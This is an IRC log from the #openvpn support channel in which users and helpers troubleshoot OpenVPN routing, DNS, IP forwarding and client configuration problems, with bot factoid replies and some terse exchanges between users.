05:03 < cnf> so EVERYTHING that comes out comes from that public IP
05:03 < cnf> that is what NAT does
05:03 < gnarface> you're missing something
05:03 < gnarface> the mail server is the *client*
05:03 < gnarface> the vpn server is the remote server
05:04 -!- Matir_ [~matir@ubuntu/member/matir] has joined #openvpn
05:04 < gnarface> i want the *client* to send mail through the vpn tunnel
05:04 < cnf> yes
05:04 < cnf> "other public mail servers"
05:04 < cnf> they only EVER see your one PUBLIC ip
05:04 < gnarface> i get that i'm not an idiot
05:04 < gnarface> but they're seeing the wrong damn ip
05:04 < gnarface> because my mail server is here
05:04 < gnarface> not there
05:05 < cnf> what wrong ip?
05:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds]
05:05 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 264 seconds]
05:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
05:05 -!- Matir [~matir@ubuntu/member/matir] has quit [Ping timeout: 264 seconds]
05:05 < cnf> you only have one public ip
05:05 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
05:05 -!- mode/#openvpn [+o mattock_] by ChanServ
05:05 < cnf> as you have said
05:05 < cnf> there is nothing else for them to see
05:05 < gnarface> dude i said my server has one public ip
05:05 -!- mattock_ is now known as mattock
05:05 < gnarface> obviously i'm connecting here to this IRC chatroom from NOT THAT IP
05:05 < gnarface> so its *implied* that i also have a freaking cable modem
05:05  * cnf facepalms
05:05 < gnarface> you're purposefully being facetious
05:05 < cnf> i'm not
05:06 < cnf> and i'm done trying to help you, if all you do is insult me
05:06 < gnarface> well i was trying to help you because you seemed really stuck on it
05:06 < cnf> my setup works
05:06 < gnarface> my question was answered 5 minutes ago
05:06 < cnf> now stop talking to me
05:06 -!- gnarface [~gnarface@50.9.177.220] has left #openvpn ["Leaving"]
05:07 -!- Slippern [slippern@server02.hjemmeserver.info] has quit [Ping timeout: 240 seconds]
05:07 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
05:07 < rob0> A little knowledge is a dangerous thing.
05:07 < cnf> and stop insulting me in PM
05:08 -!- Slippern [slippern@server02.hjemmeserver.info] has joined #openvpn
05:08 < rob0> Tell him we can arrange a ban if that's what he wants. :)
05:09 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
05:09 -!- mode/#openvpn [+o dazo_afk] by ChanServ
05:09 < Martin`> openvpn is really draining my iPhone fast when I leave it open :(
05:09 -!- dazo_afk is now known as dazo
05:12 < cnf> rob0: iam ignoring him
05:12 < cnf> rob0: it's generally what i do when people start insulting me in PM :P
05:13 < Martin`> :)
05:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Excess Flood]
05:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:26 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 256 seconds]
05:28 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:35 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Read error: Connection reset by peer]
05:35 -!- Dat [dat@gotpot.org] has joined #openvpn
05:40 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 260 seconds]
05:43 -!- Dat [dat@gotpot.org] has joined #openvpn
05:49 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 246 seconds]
05:49 -!- Dat [dat@gotpot.org] has joined #openvpn
06:07 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 245 seconds]
06:07 -!- Dat [dat@gotpot.org] has joined #openvpn
06:07 -!- corehook_ [~corehook@2.135.59.254] has joined #openvpn
06:11 -!- corehook [~corehook@2.133.63.126] has quit [Ping timeout: 256 seconds]
06:12 -!- Dat_ [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
06:13 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 256 seconds]
06:13 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 260 seconds]
06:13 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-hurvwcwgtguogvcq] has quit [Ping timeout: 252 seconds]
06:14 -!- n2deep_ [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 256 seconds]
06:14 -!- deever [~deever@78.46.68.172] has quit [Ping timeout: 256 seconds]
06:14 -!- MorgyN [~mig@island.morgyn.org] has quit [Ping timeout: 245 seconds]
06:14 -!- BtbN [znc@btbn.de] has quit [Ping timeout: 252 seconds]
06:14 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
06:14 -!- deever [~deever@78.46.68.172] has joined #openvpn
06:17 -!- Dat [dat@gotpot.org] has joined #openvpn
06:17 -!- Dat_ [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Ping timeout: 245 seconds]
06:18 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
06:19 -!- BtbN [znc@btbn.de] has joined #openvpn
06:21 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
06:27 -!- Dat_ [dat@gotpot.org] has joined #openvpn
06:28 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 260 seconds]
06:34 -!- corehook_ [~corehook@2.135.59.254] has quit [Ping timeout: 252 seconds]
06:36 -!- corehook_ [~corehook@2.135.59.254] has joined #openvpn
06:51 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
06:52 -!- Dat_ is now known as Dat
07:01 -!- corehook_ [~corehook@2.135.59.254] has quit [Ping timeout: 252 seconds]
07:03 -!- Dat [dat@gotpot.org] has quit [Changing host]
07:03 -!- Dat [dat@unaffiliated/dat] has joined #openvpn
07:04 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Read error: Operation timed out]
07:24 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
07:50 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
07:50 -!- cjs226 [~cjs226@99-42-101-192.lightspeed.austtx.sbcglobal.net] has joined #openvpn
08:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
08:09 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:09 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
08:10 < monk> greetings
08:10 < monk> i have installed openVPN on a centos box
08:11 < monk> i am migrating it from an ubuntu machine, i have copied everything in /etc/openvpn to the new server, installed everything as per http://safesrv.net/install-openvpn-on-centos/ but it will not start...any suggestions?
08:11 <@vpnHelper> Title: Installing OpenVPN on CentOS 5 and CentOS 6 (at safesrv.net)
08:13 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-gxiowmtlphhysytc] has joined #openvpn
08:24 -!- h8R [~niko@93.155.250.82] has joined #openvpn
08:25 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
08:28 < h8R> Hello. Anybody has idea why Tunnelblick can't connect to my openvpn server? Here is log http://pastebin.com/CTR2yBcB -- Debian client connects with no problems, so I assume its Apple problem (I don't have any experience with mac)
08:30 -!- vpopov [~happylife@dyn-73-2.fttbee.kis.ru] has joined #openvpn
08:31 <@krzee> h8R, got server side log from when that happens?
08:31 < h8R> krzee, yep
08:31 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has quit [Quit: Donks]
08:32 < h8R> krzee, i switch log level to 6 and its really verbose.. but i can't see nothing problematic there, no errors
08:32 <@krzee> !verb
08:32 <@vpnHelper> "verb" is verb command is for setting log verbosity, see --verb in the manual (!man) for more info
08:32 <@krzee> oops
08:33 <@krzee> !lern verb as verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage.
08:33 <@krzee> !learn verb as verb 5 is good for finding firewall problems, verb 4 for troubleshooting anything else, and 3 is good for every day usage.
08:33 <@vpnHelper> Joo got it.
08:33 < h8R> krzee, ok, restarting and will copy the logs
08:33 <@krzee> !logs
08:33 <@krzee> !ping
08:33 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
08:33 <@vpnHelper> pong
08:36 < h8R> krzee, here is the server log http://pastebin.com/PqBh2Umr after those lines i got only WWWRRRWRWRW etc
08:37 <@krzee> are there multiple clients using this same certificate?
08:39 < h8R> krzee, i think not
08:39 <@krzee> think?
08:39 < h8R> krphop, i'm sure :)
08:40 < h8R> krzee, i was testing with the same certificate, but i disconnect after that
08:40 <@krzee> stop both VPNs, then start both, post both logs from start to done.
08:41 <@krzee> kill the other client for now
08:41 < h8R> krzee, ok
08:41 <@krzee> verb 5 is good, and dont cut out the WwRr
08:45 -!- srg [U2FsdGVkX1@unaffiliated/srg] has left #openvpn [":wq"]
08:51 < h8R> krzee, server: http://pastebin.com/RXqY7XtV client: http://pastebin.com/B6k040VZ
08:52 <@krzee> you have some big problems in the configs
08:52 <@krzee> !configs
08:52 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
09:04 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:04 < h8R> krzee, thanks
09:07 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
09:26 <@krzee> h8R, you planning on posting the configs...?
09:26 <@krzee> or was that enough to fix it?
09:27 < h8R> krzee, i post them <h8R> krzee, server: http://pastebin.com/RXqY7XtV client: http://pastebin.com/B6k040VZ
09:27 < h8R> krzee, i could find the issue, on linux is working fine :/
09:27 <@krzee> those are logs
09:28 < h8R> krzee, oh sorry!
09:28 < h8R> i need another one coffe
09:29 < h8R> okay, posting them in a second
09:31 -!- vpopov [~happylife@dyn-73-2.fttbee.kis.ru] has quit [Ping timeout: 252 seconds]
09:38 < h8R> krzee, client http://pastebin.com/C9e8eCRJ server http://pastebin.com/LfUzA64p
09:38 <@krzee> give this another look and try again
09:38 <@krzee> !configs
09:38 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
09:38 <@krzee> and go get that coffee ;)
09:38 < h8R> krzee, as you might notice i've uncommented duplicate-cn to check if the problem was from the crts
09:38 < h8R> "_
09:38 < h8R> :) lol
09:39 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:44 < h8R> krzee, http://pastebin.com/bqaBujbK :)
09:45 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
09:46 <@krzee> you have some errors in your log that im not sure where they come from (if in fact these are the correct configs)
09:46 <@krzee> Fri May 31 16:38:47 2013 us=936161 84.128.255.73:62477 WARNING: 'dev-type' is used inconsistently, local='dev-type tun', remote='dev-type tap'
09:46 <@krzee> Fri May 31 16:38:47 2013 us=936232 84.128.255.73:62477 WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1542', remote='link-mtu 1574'
09:46 <@krzee> Fri May 31 16:38:47 2013 us=936286 84.128.255.73:62477 WARNING: 'tun-mtu' is used inconsistently, local='tun-mtu 1500', remote='tun-mtu 1532'
09:46 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
09:47 <@krzee> that is saying that the client connecting  as client2 is using dev tap
09:47 <@krzee> yet your config says dev tun
09:47 <@krzee> hope that gets you on the right track =]
09:50 < h8R> i was trying both
09:50 < h8R> tun is the one i want to get ;)
09:51 <@krzee> you're running one with tap, thats why it isnt working
09:52 < h8R> i think that user in the logs is with the older config, i coulnd remove it from reconnecting
09:52 < h8R> so the logs are mix with two client, doh
09:52 <@krzee> well thats what you're having a problem with
10:02 < h8R> krzee, everything is working good then i'm connecting from my debian laptop, only a friend who wants to connect from Mac has issues (here are the last logs lines http://pastebin.com/)
10:02 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:02 <@krzee> you hacked pastebin and put them on the front page?
10:03 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Operation timed out]
10:04 <@krzee> tell him to delete his attempts and start him over with correct configs
10:04 <@krzee> your friend is client2 right?
10:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:08 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- s0 d4Mn l33t |t'z 5c4rY!]
10:10 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
10:12 < h8R> krzee, yes
10:12 <@krzee> perfect, follow the advice right before that question
10:12 <@krzee> <krzee> tell him to delete his attempts and start him over with correct configs
10:13 < h8R> ok, thanks again
10:14 <@krzee> np
10:18 < h8R> krzee, humm, i've checked the certs again, seems client2 is the friend with wrong config, and client5 is the one with the mac (and the config should be okay, becuase I can connect from my Debian laptop with the same config)
10:21 <@krzee> you on the mac now?
10:22 <@krzee> is it connected right now?
10:31 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
10:33 < h8R> krzee, nope ;( i got only the logs from the mac
10:33 < h8R> i think its a mac problem, the mac can ping the vpn server thru its internal ip 10.8.0.1, but can't ping the internetworld
10:34 <@krzee> im on a mac right now
10:34 <@krzee> connected to 4 vpns
10:34 < h8R> what client are you using?
10:34 <@krzee> tunnelblick
10:34 < h8R> yep, my friend is using the same
10:35 <@krzee> get him to run teamviewer and take over his computer
10:35 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:35 <@krzee> then you can troubleshoot it with me
10:35 < h8R> ok, i'll ask him
10:35 <@krzee> !redirect
10:35 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:35 <@vpnHelper> http://ircpimps.org/redirect.png
10:35 <@krzee> #4
10:35 <@krzee> most of it will be an obvious skip simply because the server works
10:35 <@krzee> (other clients work fine)
10:36 <@krzee> but the general flow is the same as what i want you to do
10:36 <@krzee> ping server ip, ping inet ip, test dns, etc etc
10:36 <@krzee> but i want YOU to do it
10:36 <@krzee> not him
10:36 <@krzee> i cant do 3rd party troubleshooting
10:37 < h8R> yep, its really stupid-wasting-time-thing
10:37 < h8R> easiest thing - everybody using debian :)
10:37 -!- sitaktif1 [~sitaktif@kollok.org] has quit [Ping timeout: 246 seconds]
10:37 < cnf> bah
10:37 <@krzee> nah osx works easy and fine
10:37 <@krzee> you just drop in the configs and everything is done
10:37 < kisom> Yeah, but Arch is the only really good distro.
10:38 < kisom> ;)
10:38 <@krzee> :D
10:38 <@krzee> !bestos
10:38 <@vpnHelper> "bestos" is the best os for openvpn is the one you are most comfortable with
10:38 <@krzee> except...
10:38 <@krzee> !windows
10:38 <@vpnHelper> "windows" is (#1) computers are like air conditioners, they work well until you open windows. or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny
10:38 < cnf> debian, french for "old crap"
10:39 < h8R> whatever linux is.. is good :)
10:39 < h8R> i started usign linux on a slackware 7.0 :)
10:39 < h8R> i lost too much of my life compiling kernels that doesn't boot :D
10:40 < cnf> whatever suse version was in 1997 or 96
10:41 < h8R> a friend of mine installed slackware for me, but couldn start X, and told me.. type help and a command and learn the commands first
10:42 < cnf> lucky!
10:42 < cnf> i was given a CD
10:43 < cnf> it said "insert, install"
10:51 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:51 -!- sitaktif1 [~sitaktif@kollok.org] has joined #openvpn
11:00 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:04 -!- Willis_ [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
11:08 -!- Willis [Willis@173.234.237.131] has joined #openvpn
11:11 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
11:12 -!- raidz_away is now known as raidz
11:13 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
11:18 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 256 seconds]
11:18 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
11:27 -!- Willis [Willis@173.234.237.131] has joined #openvpn
11:31 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 245 seconds]
11:52 -!- vpopov [~happylife@dyn-73-2.fttbee.kis.ru] has joined #openvpn
12:04 -!- michaelhart [~michaelha@162.209.1.130] has quit [Ping timeout: 256 seconds]
12:07 -!- corehook [~corehook@m212-96-65-31.cust.tele2.kz] has joined #openvpn
12:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:22 -!- corehook [~corehook@m212-96-65-31.cust.tele2.kz] has quit [Read error: Connection reset by peer]
12:25 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Quit: ZNC - http://znc.in]
12:28 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
12:36 -!- h8R [~niko@93.155.250.82] has quit [Ping timeout: 256 seconds]
12:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:42 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 245 seconds]
12:45 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
12:57 -!- paccer [uid4847@gateway/web/irccloud.com/x-kebamvrxlibtchuj] has quit [Quit: Connection closed for inactivity]
13:15 -!- Contex_ [~Contexual@contex.me] has joined #openvpn
13:15 -!- Contex_ [~Contexual@contex.me] has left #openvpn []
13:19 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
13:49 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
13:52 -!- p3rror [~p3rror@105.158.215.186] has joined #openvpn
14:02 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
14:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:35 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
14:35 < vaillor> hi guys
14:35 < vaillor> i have problem: redirection doesn't work
14:36 < vaillor> i use push "dhcp-option DNS 192.168.56.1"
14:36 < vaillor> on the server side
14:37 < vaillor> and redirect-gateway def1 on the client side
14:37 < vaillor> i've also enabled ip_forward
14:37 < vaillor> and andded iptables rule to allow redirection
14:39 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
14:41 <@krzee> !redirect
14:41 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:41 <@vpnHelper> http://ircpimps.org/redirect.png
14:41 <@krzee> see #4
14:43 < vaillor> "can you ping 8.8.8.8" from the client?
14:43 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
14:45 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
14:50 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:52 < vaillor> dns is my problem
14:52 < vaillor> already know
14:53 < vaillor> !pushdns
14:53 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
14:53 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
15:08 -!- Aster [~Sarah@april-fools/ninth/aster] has joined #openvpn
15:09 < vaillor> Fri May 31 22:03:45 2013 us=217268 vaillor/2.226.37.187:57211 [vaillor] Inactivity timeout (--ping-restart), restarting
15:09 < vaillor> Fri May 31 22:03:45 2013 us=217537 vaillor/2.226.37.187:57211 SIGUSR1[soft,ping-restart] received, client-instance restarting
15:09 < vaillor> how to solve it?
15:10 <@krzee> get a more stable connection
15:11 < vaillor> krzee, any workaround?
15:11 < vaillor> i used keepalive
15:11 < vaillor> but it doesn't work
15:11 <@krzee> it is working, thats why you're reconnecting
15:12 <@krzee> your connecting is going down
15:12 <@krzee> no theres no workaround lol
15:12 <@krzee> workaround is get an isp that doesnt go down
15:12 <@krzee> o_O
15:13 < Aster> Hiya. I had a working VPN setup on both server and client for a while now, but I had to restart my server, and now the client doesn't work anymore. I don't really know how to describe the problem, so I'll just say that the client can keep a connection with the server,  I can't ping 8.8.8.8 while connected, I can't ping www.google.com while connected, and I can't find any errors on the client/server output. The server config is http://sprunge.us/GTaH
15:13 < Aster> and the client config is http://sprunge.us/TgXJ
15:14 < vaillor> krzee, but i'm on my lan
15:15 <@krzee> vaillor, you are using redirect-gateway on your lan?  i hope you used the local flag as well
15:15 <@krzee> !local
15:15 <@vpnHelper> "local" is a flag for --redirect-gateway, Add the local flag if both OpenVPN machines are directly connected via a common subnet, such as with wireless.
15:17 < pekster> Aster: That server config is not doing anything with the client's gateway. If the client is using --redirect-gateway in its config file, you need to verify you set everything up correctly by following the steps/flowchart in !redirect
15:17 -!- rog1121 [~rog1121@unaffiliated/rog1121] has joined #openvpn
15:17 < pekster> Aster: Besides that, the config you linked will not change any routing entries beyond adding routes for 10.8.0.0/24
15:17 < Aster> !redirect
15:17 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:17 <@vpnHelper> http://ircpimps.org/redirect.png
15:18 < rog1121> Are we able to request for help on this channel
15:18 < pekster> !ask
15:18 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
15:19 < vaillor> krzee: http://nopaste.info/bf31c03a75.html
15:19 < vaillor> what do you think about?
15:19 < rog1121> I'm having trouble setting up a client on debian, I'm trying to not have all the traffic auto-forwarded. Just if I specify it in a certain daemon
15:19 <@krzee> vaillor, are you connecting from without your lan or not?
15:20 <@krzee> you cant connect to the external IP from within your lan
15:20 < Aster> pekster, alright, it tells me to enable IP forwarding, could you tell me how, please?
15:20 < EugeneKay> !ipforward
15:20 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
15:20 < EugeneKay> The bot knows all
15:21 < Aster> ..Is that for the server or the client?
15:21 < Aster> !linipforward
15:21 < vaillor> krzee, both, sometimes from my lan, sometimes from the other
15:21 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
15:21 < Aster> !winipforward
15:21 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
15:21 < vaillor> EugeneKay, forward is ok
15:21 < vaillor> ah, ok
15:21 < vaillor> it's not for me
15:21 < vaillor> rossy
15:21 <@krzee> vaillor, well you cant connect to your external ip from inside your lan
15:21 < vaillor> *sorry
15:21 < vaillor> i can, it works
15:22 < vaillor> but i'm continuosly disconnect
15:22 <@krzee> then its still going down
15:22 <@krzee> whatever, dont do it
15:22 <@krzee> pointless and shouldnt work
15:22 < vaillor> yes, connect, disconnects, reconnects... and so on...
15:23 < vaillor> this is only one of my two problem
15:23 < vaillor> the other is the fact that dns doesn't work
15:23 < pekster> rog1121: If you don't want to redirect all Internet-bound traffic, then don't use (or push) --redirect-gateway. That's not a default option, so it must be explicitly configured on the client (or pushed from the server with the client accepting server-pushed routes)
15:23 < rog1121> how can I set openvpn to not forward my traffic by default ont his config? http://pastebin.com/6p58W7Xp
15:23 < rog1121> ah
15:24 < pekster> rog1121: Where's your server config?
15:24 < rog1121> what option should I use client side
15:24 < rog1121> I dont have access to the server config
15:24 < pekster> No, it's not a matter of that rog1121. You should *not* be pushing redirect-gateway server-side if you don't wan tit
15:24 < pekster> !both
15:24 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
15:24 < pekster> Maybe browse the manpage for --nopull or --route-pull
15:25 <@krzee> vaillor, what os is the client?
15:26 < vaillor> krzee, ios
15:26 <@krzee> *shrug* i dont know
15:26 <@krzee> sorry, and good luck
15:26 -!- vpopov [~happylife@dyn-73-2.fttbee.kis.ru] has quit [Read error: Operation timed out]
15:26 < vaillor> i don't think it's a client problem
15:27 < vaillor> but a configuration problem
15:27 <@krzee> actually ya that is true
15:27 <@krzee> why should the client be able to reach 192.168.56.1
15:27 < cnf> vaillor: just joined, but openvpn connect doesn't support fragment
15:27 < cnf> don if that helps, didn't read the wall of text ^^;
15:28 <@krzee> you do nothing to give it a route to 192.168.56.1 over the vpn
15:29 < vaillor> so, what do i need to do?
15:29 <@krzee> learn what you're doing?
15:29 < rog1121> pekster, route-nopull did the job, thanks a lot!
15:29 <@krzee> how about change it to use 8.8.8.8
15:30 < vaillor> krzee, now' i'll try to ping 192.168.56.1 from the client
15:30 <@krzee> you're on that lan anyways arent you?
15:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:30 < vaillor> yes, i'm on that lan
15:30 <@krzee> then wtf, of course you can ping it
15:30 < vaillor> but with vpn redirection enabled
15:31 < vaillor> all the traffic will be forwarded to vpn
15:31 <@krzee> not your LAN subnet
15:31 <@krzee> *facepalm
15:31 < vaillor> ok, so, i'll try with 3g connection
15:31 < vaillor> ok?
15:31 <@krzee> sorry dude i gotta put you on my ignore list
15:31 <@krzee> bye
15:32 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has joined #openvpn
15:33 < Aster> pekster, EugeneKay: thanks, it works now. :)
15:33 < Aster> The error was with me forgetting to enable iptables forwarding, like the derp I am.
15:34 < cnf> :P
15:35 -!- ngharo_ [~ngharo@95.211.6.133] has joined #openvpn
15:35 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 252 seconds]
15:35 -!- ngharo [~ngharo@hacked.thegov.us] has quit [Ping timeout: 252 seconds]
15:35 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Ping timeout: 252 seconds]
15:35 -!- ngharo_ is now known as ngharo
15:36 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
15:41 < vaillor> ok problem solved
15:41 < vaillor> wrong dns server
15:43 -!- HaxCore [~p3rror@41.249.151.192] has joined #openvpn
15:46 -!- p3rror [~p3rror@105.158.215.186] has quit [Ping timeout: 245 seconds]
15:54 -!- Denial [Denial@90.208.15.68] has quit []
16:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
16:00 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- IRC with a difference]
16:04 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
16:05 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
16:05 < vaillor> keeplive must be specified on server or client side?
16:05 -!- defswork_ [~andy@141.0.50.105] has quit [Read error: Operation timed out]
16:06 -!- vaillor_ [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
16:06 < vaillor_> [23:05:00] <vaillor> keeplive must be specified on server or client side?
16:06 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: Operation timed out]
16:06 < pekster> vaillor, both. Read --keepalive in the manpage because when --mode server is used, pushing it to clients is implied
16:06 -!- cjs226 [~cjs226@99-42-101-192.lightspeed.austtx.sbcglobal.net] has quit [Quit: cjs226]
16:07 < pekster> Oh, and stop repeating yourself multiple times within 60 seconds. That's a good way to get kicked
16:07 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Read error: Connection reset by peer]
16:07 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
